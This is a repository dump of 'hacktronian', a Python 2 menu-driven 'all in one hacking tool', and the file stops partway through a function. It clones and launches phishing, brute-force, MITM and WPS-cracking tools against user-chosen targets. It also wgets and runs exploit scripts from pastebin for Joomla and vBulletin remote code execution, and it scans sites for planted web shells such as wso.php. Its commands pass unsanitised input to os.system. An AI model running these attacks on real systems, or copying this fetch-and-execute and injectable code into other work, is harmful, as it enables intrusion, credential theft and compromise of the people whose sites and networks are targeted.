├── LICENSE ├── README.md ├── hacktronian.py ├── install.sh ├── logo.png └── update.sh /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (c) 2018 Mr. SAGE 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # hacktronian 2 | All in One Hacking Tool for Linux & Android 3 | -------------------------------------------------------------------------------- /hacktronian.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python2.7 2 | # 3 | # _ _ ___ _____ _ _____________ _____ _ _ _____ ___ _ _ 4 | # | | | | / _ \/ __ \| | / /_ _| ___ \ _ | \ | |_ _|/ _ \ | \ | | 5 | # | |_| |/ /_\ \ / \/| |/ / | | | |_/ / | | | \| | | | / /_\ \| \| | 6 | # | _ || _ | | | \ | | | /| | | | . ` | | | | _ || . ` | 7 | # | | | || | | | \__/\| |\ \ | | | |\ \\ \_/ / |\ |_| |_| | | || |\ | 8 | # \_| |_/\_| |_/\____/\_| \_/ \_/ \_| \_|\___/\_| \_/\___/\_| |_/\_| \_/ 9 | # ~ Tools For Hacking by Mr. SAGE 10 | 11 | import sys 12 | import argparse 13 | import os 14 | import time 15 | import httplib 16 | import subprocess 17 | import re 18 | import urllib2 19 | import socket 20 | import urllib 21 | import sys 22 | import json 23 | import telnetlib 24 | import glob 25 | import random 26 | import Queue 27 | import threading 28 | #import requests 29 | import base64 30 | from getpass import getpass 31 | from commands import * 32 | from sys import argv 33 | from platform import system 34 | from urlparse import urlparse 35 | from xml.dom import minidom 36 | from optparse import OptionParser 37 | from time import sleep 38 | ########################## 39 | os.system('clear') 40 | 41 | 42 | def menu(): 43 | print (""" 44 | MIT License 45 | 46 | Copyright (c) 2018 HACKTRONIAN 47 | 48 | Permission is hereby granted, free of charge, to any person obtaining a copy 49 | of this software and associated documentation files (the "Software"), to deal 50 | in the Software without restriction, including without limitation the rights 51 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 52 | copies of the Software, and to permit persons to whom the Software is 53 | furnished to do so, subject to the following conditions: 54 | 55 | The above copyright notice and this permission notice shall be included in all 56 | copies or substantial portions of the Software. 57 | 58 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 59 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 60 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 61 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 62 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 63 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 64 | SOFTWARE.""") 65 | 66 | 67 | os.system('clear') 68 | os.system('clear') 69 | os.system('clear') 70 | os.system('clear') 71 | 72 | directories = ['/uploads/', '/upload/', '/files/', '/resume/', '/resumes/', '/documents/', '/docs/', '/pictures/', '/file/', '/Upload/', '/Uploads/', '/Resume/', '/Resume/', '/UsersFiles/', '/Usersiles/', '/usersFiles/', '/Users_Files/', '/UploadedFiles/', 73 | '/Uploaded_Files/', '/uploadedfiles/', '/uploadedFiles/', '/hpage/', '/admin/upload/', '/admin/uploads/', '/admin/resume/', '/admin/resumes/', '/admin/pictures/', '/pics/', '/photos/', '/Alumni_Photos/', '/alumni_photos/', '/AlumniPhotos/', '/users/'] 74 | shells = ['wso.php', 'shell.php', 'an.php', 'hacker.php', 'lol.php', 'up.php', 'cp.php', 'upload.php', 75 | 'sh.php', 'pk.php', 'mad.php', 'x00x.php', 'worm.php', '1337worm.php', 'config.php', 'x.php', 'haha.php'] 76 | upload = [] 77 | yes = set(['yes', 'y', 'ye', 'Y']) 78 | no = set(['no', 'n']) 79 | 80 | 81 | def logo(): 82 | print """ 83 | - Powered by 84 | ___ ___ _____ ___ _____ _____ 85 | | \/ | / ___|/ _ \| __ \| ___| 86 | | . . |_ __ \ `--./ /_\ \ | \/| |__ 87 | | |\/| | '__| `--. \ _ | | __ | __| 88 | | | | | |_ /\__/ / | | | |_\ \| |___ 89 | \_| |_/_(_) \____/\_| |_/\____/\____/ 90 | """ 91 | 92 | 93 | hacktronianlogo = """\033[0m 94 | _ _ ______ _ _ _______ ______ _____ ______ _____ ______ 95 | | | | | /\ / _____) | / |_______|_____ \ / ___ \| ___ \(_____) /\ | ___ \ 96 | | |__ | | / \ | / | | / / _ _____) ) | | | | | | _ / \ | | | | 97 | | __)| |/ /\ \| | | |< < | | (_____ (| | | | | | | | | / /\ \| | | | 98 | | | | | |__| | \_____| | \ \| |_____ | | |___| | | | |_| |_| |__| | | | | 99 | |_| |_|______|\______)_| \_)\______) |_|\_____/|_| |_(_____)______|_| |_| 100 | ~ Tools for Hacking by Mr. SAGE 101 | \033[91m""" 102 | def menu(): 103 | print (hacktronianlogo + """\033[1m 104 | [!] This Tool Must Run As ROOT [!] https://github.com/thehackingsage/hacktronian 105 | \033[0m 106 | {1}--Information Gathering 107 | {2}--Password Attacks 108 | {3}--Wireless Testing 109 | {4}--Exploitation Tools 110 | {5}--Sniffing & Spoofing 111 | {6}--Web Hacking 112 | {7}--Private Web Hacking 113 | {8}--Post Exploitation 114 | {0}--Install The HACKTRONIAN 115 | {99}-Exit 116 | """) 117 | choice = raw_input("hacktronian~# ") 118 | os.system('clear') 119 | if choice == "1": 120 | info() 121 | elif choice == "2": 122 | passwd() 123 | elif choice == "3": 124 | wire() 125 | elif choice == "4": 126 | exp() 127 | elif choice == "5": 128 | snif() 129 | elif choice == "6": 130 | webhack() 131 | elif choice == "7": 132 | dzz() 133 | elif choice == "8": 134 | postexp() 135 | elif choice == "0": 136 | updatehacktronian() 137 | elif choice == "99": 138 | clearScr(), sys.exit() 139 | elif choice == "": 140 | menu() 141 | else: 142 | menu() 143 | 144 | 145 | def updatehacktronian(): 146 | print ("This Tool is Only Available for Linux and Similar Systems. ") 147 | choiceupdate = raw_input("Continue Y / N: ") 148 | if choiceupdate in yes: 149 | os.system("git clone https://github.com/thehackingsage/hacktronian.git") 150 | os.system("cd hacktronian && sudo bash ./update.sh") 151 | os.system("hacktronian") 152 | 153 | 154 | def doork(): 155 | print("doork is a open-source passive vulnerability auditor tool that automates the process of searching on Google information about specific website based on dorks. ") 156 | doorkchice = raw_input("Continue Y / N: ") 157 | if doorkchice in yes: 158 | os.system("pip install beautifulsoup4 && pip install requests") 159 | os.system("git clone https://github.com/AeonDave/doork") 160 | clearScr() 161 | doorkt = raw_input("Target : ") 162 | os.system("cd doork && python doork.py -t %s -o log.log" % doorkt) 163 | 164 | 165 | def postexp(): 166 | clearScr() 167 | print(hacktronianlogo) 168 | print(" {1}--Shell Checker") 169 | print(" {2}--POET") 170 | print(" {3}--Phishing Framework \n") 171 | print(" {99}-Return to main menu \n\n ") 172 | choice11 = raw_input("hacktronian~# ") 173 | os.system('clear') 174 | if choice11 == "1": 175 | sitechecker() 176 | if choice11 == "2": 177 | poet() 178 | if choice11 == "3": 179 | weeman() 180 | elif choice11 == "99": 181 | menu() 182 | 183 | 184 | def scanusers(): 185 | site = raw_input('Enter a website : ') 186 | try: 187 | users = site 188 | if 'http://www.' in users: 189 | users = users.replace('http://www.', '') 190 | if 'http://' in users: 191 | users = users.replace('http://', '') 192 | if '.' in users: 193 | users = users.replace('.', '') 194 | if '-' in users: 195 | users = users.replace('-', '') 196 | if '/' in users: 197 | users = users.replace('/', '') 198 | while len(users) > 2: 199 | print users 200 | resp = urllib2.urlopen( 201 | site + '/cgi-sys/guestbook.cgi?user=%s' % users).read() 202 | 203 | if 'invalid username' not in resp.lower(): 204 | print "\tFound -> %s" % users 205 | pass 206 | 207 | users = users[:-1] 208 | except: 209 | pass 210 | 211 | 212 | def brutex(): 213 | clearScr() 214 | print("Automatically brute force all services running on a target : Open ports / DNS domains / Usernames / Passwords ") 215 | os.system("git clone https://github.com/1N3/BruteX.git") 216 | clearScr() 217 | brutexchoice = raw_input("Select a Target : ") 218 | os.system("cd BruteX && chmod 777 brutex && ./brutex %s" % brutexchoice) 219 | 220 | 221 | def arachni(): 222 | print("Arachni is a feature-full, modular, high-performance Ruby framework aimed towards helping penetration testers and administrators evaluate the security of web applications") 223 | cara = raw_input("Install And Run ? Y / N : ") 224 | clearScr() 225 | print("exemple : http://www.target.com/") 226 | tara = raw_input("Select a target to scan : ") 227 | if cara in yes: 228 | os.system("git clone git://github.com/Arachni/arachni.git") 229 | os.system( 230 | "cd arachni && sudo gem install bundler && bundle install --without prof && rake install") 231 | os.system("archani") 232 | clearScr() 233 | os.system("cd arachni/bin && chmod 777 arachni && ./arachni %s" % tara) 234 | 235 | 236 | def XSStrike(): 237 | clearScr() 238 | print("XSStrike is a python script designed to detect and exploit XSS vulnerabilites. Follow The Owner On Github @UltimateHackers") 239 | os.system("sudo rm -rf XSStrike") 240 | os.system("git clone https://github.com/UltimateHackers/XSStrike.git && cd XSStrike && pip install -r requirements.txt && clear && python xsstrike") 241 | 242 | 243 | def crips(): 244 | clearScr() 245 | os.system("git clone https://github.com/Manisso/Crips.git") 246 | os.system("cd Crips && sudo bash ./update.sh") 247 | os.system("crips") 248 | os.system("clear") 249 | 250 | 251 | def weeman(): 252 | print("HTTP server for phishing in python. (and framework) Usually you will want to run Weeman with DNS spoof attack. (see dsniff, ettercap).") 253 | choicewee = raw_input("Install Weeman ? Y / N : ") 254 | if choicewee in yes: 255 | os.system( 256 | "git clone https://github.com/samyoyo/weeman.git && cd weeman && python weeman.py") 257 | if choicewee in no: 258 | menu() 259 | else: 260 | menu() 261 | 262 | 263 | def gabriel(): 264 | print("Abusing authentication bypass of Open&Compact (Gabriel's)") 265 | os.system("wget http://pastebin.com/raw/Szg20yUh --output-document=gabriel.py") 266 | clearScr() 267 | os.system("python gabriel.py") 268 | ftpbypass = raw_input("Enter Target IP and Use Command :") 269 | os.system("python gabriel.py %s" % ftpbypass) 270 | 271 | 272 | def sitechecker(): 273 | os.system("wget http://pastebin.com/raw/Y0cqkjrj --output-document=ch01.py") 274 | clearScr() 275 | os.system("python ch01.py") 276 | 277 | 278 | def h2ip(): 279 | host = raw_input("Select A Host : ") 280 | ips = socket.gethostbyname(host) 281 | print(ips) 282 | 283 | 284 | def ports(): 285 | clearScr() 286 | target = raw_input('Select a Target IP : ') 287 | os.system("nmap -O -Pn %s" % target) 288 | sys.exit() 289 | 290 | 291 | def ifinurl(): 292 | print""" This Advanced search in search engines, enables analysis provided to exploit GET / POST capturing emails & urls, with an internal custom validation junction for each target / url found.""" 293 | print('Do You Want To Install InurlBR ? ') 294 | cinurl = raw_input("Y/N: ") 295 | if cinurl in yes: 296 | inurl() 297 | if cinurl in no: 298 | menu() 299 | elif cinurl == "": 300 | menu() 301 | else: 302 | menu() 303 | 304 | 305 | def bsqlbf(): 306 | clearScr() 307 | print("This tool will only work on blind sql injection") 308 | cbsq = raw_input("select target : ") 309 | os.system("wget https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/bsqlbf-v2/bsqlbf-v2-7.pl -o bsqlbf.pl") 310 | os.system("perl bsqlbf.pl -url %s" % cbsq) 311 | os.system("rm bsqlbf.pl") 312 | 313 | 314 | def atscan(): 315 | print ("Do You To Install ATSCAN ?") 316 | choiceshell = raw_input("Y/N: ") 317 | if choiceshell in yes: 318 | os.system("sudo rm -rf ATSCAN") 319 | os.system( 320 | "git clone https://github.com/AlisamTechnology/ATSCAN.git && cd ATSCAN && perl atscan.pl") 321 | elif choiceshell in no: 322 | os.system('clear') 323 | menu() 324 | 325 | 326 | def commix(): 327 | print ("Automated All-in-One OS Command Injection and Exploitation Tool.") 328 | print ("usage : python commix.py --help") 329 | choicecmx = raw_input("Continue: y/n :") 330 | if choicecmx in yes: 331 | os.system("git clone https://github.com/stasinopoulos/commix.git commix") 332 | os.system("cd commix") 333 | os.system("python commix.py") 334 | os.system("") 335 | elif choicecmx in no: 336 | os.system('clear') 337 | info() 338 | 339 | 340 | def pixiewps(): 341 | print"""Pixiewps is a tool written in C used to bruteforce offline the WPS pin exploiting the low or non-existing entropy of some Access Points, the so-called "pixie dust attack" discovered by Dominique Bongard in summer 2014. It is meant for educational purposes only 342 | """ 343 | choicewps = raw_input("Continue ? Y/N : ") 344 | if choicewps in yes: 345 | os.system("git clone https://github.com/wiire/pixiewps.git") 346 | os.system("cd pixiewps & make ") 347 | os.system("sudo make install") 348 | if choicewps in no: 349 | menu() 350 | elif choicewps == "": 351 | menu() 352 | else: 353 | menu() 354 | 355 | 356 | def webhack(): 357 | print(hacktronianlogo) 358 | print(" {1}--Drupal Hacking ") 359 | print(" {2}--Inurlbr") 360 | print(" {3}--Wordpress & Joomla Scanner") 361 | print(" {4}--Gravity Form Scanner") 362 | print(" {5}--File Upload Checker") 363 | print(" {6}--Wordpress Exploit Scanner") 364 | print(" {7}--Wordpress Plugins Scanner") 365 | print(" {8}--Shell and Directory Finder") 366 | print(" {9}--Joomla! 1.5 - 3.4.5 remote code execution") 367 | print(" {10}-Vbulletin 5.X remote code execution") 368 | print( 369 | " {11}-BruteX - Automatically brute force all services running on a target") 370 | print(" {12}-Arachni - Web Application Security Scanner Framework \n ") 371 | print(" {99}-Back To Main Menu \n") 372 | choiceweb = raw_input("hacktronian~# ") 373 | if choiceweb == "1": 374 | clearScr() 375 | maine() 376 | if choiceweb == "2": 377 | clearScr() 378 | ifinurl() 379 | if choiceweb == '3': 380 | clearScr() 381 | wppjmla() 382 | if choiceweb == "4": 383 | clearScr() 384 | gravity() 385 | if choiceweb == "5": 386 | clearScr() 387 | sqlscan() 388 | if choiceweb == "6": 389 | clearScr() 390 | wpminiscanner() 391 | if choiceweb == "7": 392 | clearScr() 393 | wppluginscan() 394 | if choiceweb == "8": 395 | clearScr() 396 | shelltarget() 397 | if choiceweb == "9": 398 | clearScr() 399 | joomlarce() 400 | if choiceweb == "10": 401 | clearScr() 402 | vbulletinrce() 403 | if choiceweb == "11": 404 | clearScr() 405 | brutex() 406 | if choiceweb == "12": 407 | clearScr() 408 | arachni() 409 | elif choiceweb == "99": 410 | menu() 411 | elif choiceweb == "": 412 | menu() 413 | else: 414 | menu() 415 | 416 | 417 | def vbulletinrce(): 418 | os.system("wget http://pastebin.com/raw/eRSkgnZk --output-document=tmp.pl") 419 | os.system("perl tmp.pl") 420 | 421 | 422 | def joomlarce(): 423 | os.system("wget http://pastebin.com/raw/EX7Gcbxk --output-document=temp.py") 424 | clearScr() 425 | print("if the response is 200 , you will find your shell in Joomla_3.5_Shell.txt") 426 | jmtarget = raw_input("Select a targets list :") 427 | os.system("python temp.py %s" % jmtarget) 428 | 429 | 430 | def inurl(): 431 | dork = raw_input("select a Dork:") 432 | output = raw_input("select a file to save :") 433 | os.system( 434 | "./inurlbr.php --dork '{0}' -s {1}.txt -q 1,6 -t 1".format(dork, output)) 435 | if cinurl in no: 436 | insinurl() 437 | elif cinurl == "": 438 | menu() 439 | else: 440 | menu() 441 | 442 | 443 | def insinurl(): 444 | os.system("git clone https://github.com/googleinurl/SCANNER-INURLBR.git") 445 | os.system("chmod +x SCANNER-INURLBR/inurlbr.php") 446 | os.system("apt-get install curl libcurl3 libcurl3-dev php5 php5-cli php5-curl") 447 | os.system("mv /SCANNER-INURLBR/inurbr.php inurlbr.php") 448 | clearScr() 449 | inurl() 450 | 451 | 452 | def nmap(): 453 | 454 | choice7 = raw_input("continue ? Y / N : ") 455 | if choice7 in yes: 456 | os.system("git clone https://github.com/nmap/nmap.git") 457 | os.system("cd nmap && ./configure && make && make install") 458 | elif choice7 in no: 459 | info() 460 | elif choice7 == "": 461 | menu() 462 | else: 463 | menu() 464 | 465 | 466 | def jboss(): 467 | os.system('clear') 468 | print ("This JBoss script deploys a JSP shell on the target JBoss AS server. Once") 469 | print ("deployed, the script uses its upload and command execution capability to") 470 | print ("provide an interactive session.") 471 | print ("") 472 | print ("usage : ./e.sh target_ip tcp_port ") 473 | print("Continue: y/n") 474 | choice9 = raw_input("yes / no :") 475 | if choice9 in yes: 476 | os.system( 477 | "git clone https://github.com/SpiderLabs/jboss-autopwn.git"), sys.exit() 478 | elif choice9 in no: 479 | os.system('clear') 480 | exp() 481 | elif choice9 == "": 482 | menu() 483 | else: 484 | menu() 485 | 486 | 487 | def wppluginscan(): 488 | Notfound = [404, 401, 400, 403, 406, 301] 489 | sitesfile = raw_input("sites file : ") 490 | filepath = raw_input("Plugins File : ") 491 | 492 | def scan(site, dir): 493 | global resp 494 | try: 495 | conn = httplib.HTTPConnection(site) 496 | conn.request('HEAD', "/wp-content/plugins/" + dir) 497 | resp = conn.getresponse().status 498 | except(), message: 499 | print "Cant Connect :", message 500 | pass 501 | 502 | def timer(): 503 | now = time.localtime(time.time()) 504 | return time.asctime(now) 505 | 506 | def main(): 507 | sites = open(sitesfile).readlines() 508 | plugins = open(filepath).readlines() 509 | for site in sites: 510 | site = site.rstrip() 511 | for plugin in plugins: 512 | plugin = plugin.rstrip() 513 | scan(site, plugin) 514 | if resp not in Notfound: 515 | print "+----------------------------------------+" 516 | print "| current site :" + site 517 | print "| Found Plugin : " + plugin 518 | print "| Result:", resp 519 | 520 | 521 | def sqlmap(): 522 | print ("usage : python sqlmap.py -h") 523 | choice8 = raw_input("Continue: y/n :") 524 | if choice8 in yes: 525 | os.system( 526 | "git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev & ") 527 | elif choice8 in no: 528 | os.system('clear') 529 | info() 530 | elif choice8 == "": 531 | menu() 532 | else: 533 | menu() 534 | 535 | 536 | def grabuploadedlink(url): 537 | try: 538 | for dir in directories: 539 | currentcode = urllib.urlopen(url + dir).getcode() 540 | if currentcode == 200 or currentcode == 403: 541 | print "-------------------------" 542 | print " [ + ] Found Directory : " + str(url + dir) + " [ + ]" 543 | print "-------------------------" 544 | upload.append(url + dir) 545 | except: 546 | pass 547 | 548 | 549 | def grabshell(url): 550 | try: 551 | for upl in upload: 552 | for shell in shells: 553 | currentcode = urllib.urlopen(upl + shell).getcode() 554 | if currentcode == 200: 555 | print "-------------------------" 556 | print " [ ! ] Found Shell : " + str(upl + shell) + " [ ! ]" 557 | print "-------------------------" 558 | except: 559 | pass 560 | 561 | 562 | def shelltarget(): 563 | print("exemple : http://target.com") 564 | line = raw_input("target : ") 565 | line = line.rstrip() 566 | grabuploadedlink(line) 567 | grabshell(line) 568 | 569 | 570 | def poet(): 571 | print("POET is a simple POst-Exploitation Tool.") 572 | print("") 573 | choicepoet = raw_input("y / n :") 574 | if choicepoet in yes: 575 | os.system("git clone https://github.com/mossberg/poet.git") 576 | os.system("python poet/server.py") 577 | if choicepoet in no: 578 | clearScr() 579 | postexp() 580 | elif choicepoet == "": 581 | menu() 582 | else: 583 | menu() 584 | 585 | 586 | def setoolkit(): 587 | print ("The Social-Engineer Toolkit is an open-source penetration testing framework") 588 | print(") designed for social engineering. SET has a number of custom attack vectors that ") 589 | print(" allow you to make a believable attack quickly. SET is a product of TrustedSec, LLC ") 590 | print("an information security consulting firm located in Cleveland, Ohio.") 591 | print("") 592 | 593 | choiceset = raw_input("y / n :") 594 | if choiceset in yes: 595 | os.system( 596 | "git clone https://github.com/trustedsec/social-engineer-toolkit.git") 597 | os.system("python social-engineer-toolkit/setup.py") 598 | if choiceset in no: 599 | clearScr() 600 | info() 601 | elif choiceset == "": 602 | menu() 603 | else: 604 | menu() 605 | 606 | 607 | def cupp(): 608 | print("cupp is a password list generator ") 609 | print("Usage: python cupp.py -h") 610 | choicecupp = raw_input("Continue: y/n : ") 611 | 612 | if choicecupp in yes: 613 | os.system("git clone https://github.com/Mebus/cupp.git") 614 | print("file downloaded successfully") 615 | elif choicecupp in no: 616 | clearScr() 617 | passwd() 618 | elif choicecupp == "": 619 | menu() 620 | else: 621 | menu() 622 | 623 | 624 | def ncrack(): 625 | print("A Ruby interface to Ncrack, Network authentication cracking tool.") 626 | print("requires : nmap >= 0.3ALPHA / rprogram ~> 0.3") 627 | print("Continue: y/n") 628 | choicencrack = raw_input("y / n :") 629 | if choicencrack in yes: 630 | os.system("git clone https://github.com/sophsec/ruby-ncrack.git") 631 | os.system("cd ruby-ncrack") 632 | os.system("install ruby-ncrack") 633 | elif choicencrack in no: 634 | clearScr() 635 | passwd() 636 | elif choicencrack == "": 637 | menu() 638 | else: 639 | menu() 640 | 641 | 642 | def reaver(): 643 | print """ 644 | Reaver has been designed to be a robust and practical attack against Wi-Fi Protected Setup 645 | WPS registrar PINs in order to recover WPA/WPA2 passphrases. It has been tested against a 646 | wide variety of access points and WPS implementations 647 | 1 to accept / 0 to decline 648 | """ 649 | creaver = raw_input("y / n :") 650 | if creaver in yes: 651 | os.system( 652 | "apt-get -y install build-essential libpcap-dev sqlite3 libsqlite3-dev aircrack-ng pixiewps") 653 | os.system("git clone https://github.com/t6x/reaver-wps-fork-t6x.git") 654 | os.system("cd reaver-wps-fork-t6x/src/ & ./configure") 655 | os.system("cd reaver-wps-fork-t6x/src/ & make") 656 | elif creaver in no: 657 | clearScr() 658 | wire() 659 | elif creaver == "": 660 | menu() 661 | else: 662 | menu() 663 | 664 | 665 | def ssls(): 666 | print"""sslstrip is a MITM tool that implements Moxie Marlinspike's SSL stripping 667 | attacks. 668 | It requires Python 2.5 or newer, along with the 'twisted' python module.""" 669 | cssl = raw_input("y / n :") 670 | if cssl in yes: 671 | os.system("git clone https://github.com/moxie0/sslstrip.git") 672 | os.system("sudo apt-get install python-twisted-web") 673 | os.system("python sslstrip/setup.py") 674 | if cssl in no: 675 | snif() 676 | elif cssl == "": 677 | menu() 678 | else: 679 | menu() 680 | 681 | 682 | def unique(seq): 683 | seen = set() 684 | return [seen.add(x) or x for x in seq if x not in seen] 685 | 686 | 687 | def bing_all_grabber(s): 688 | 689 | lista = [] 690 | page = 1 691 | while page <= 101: 692 | try: 693 | bing = "http://www.bing.com/search?q=ip%3A" + \ 694 | s + "+&count=50&first=" + str(page) 695 | openbing = urllib2.urlopen(bing) 696 | readbing = openbing.read() 697 | findwebs = re.findall('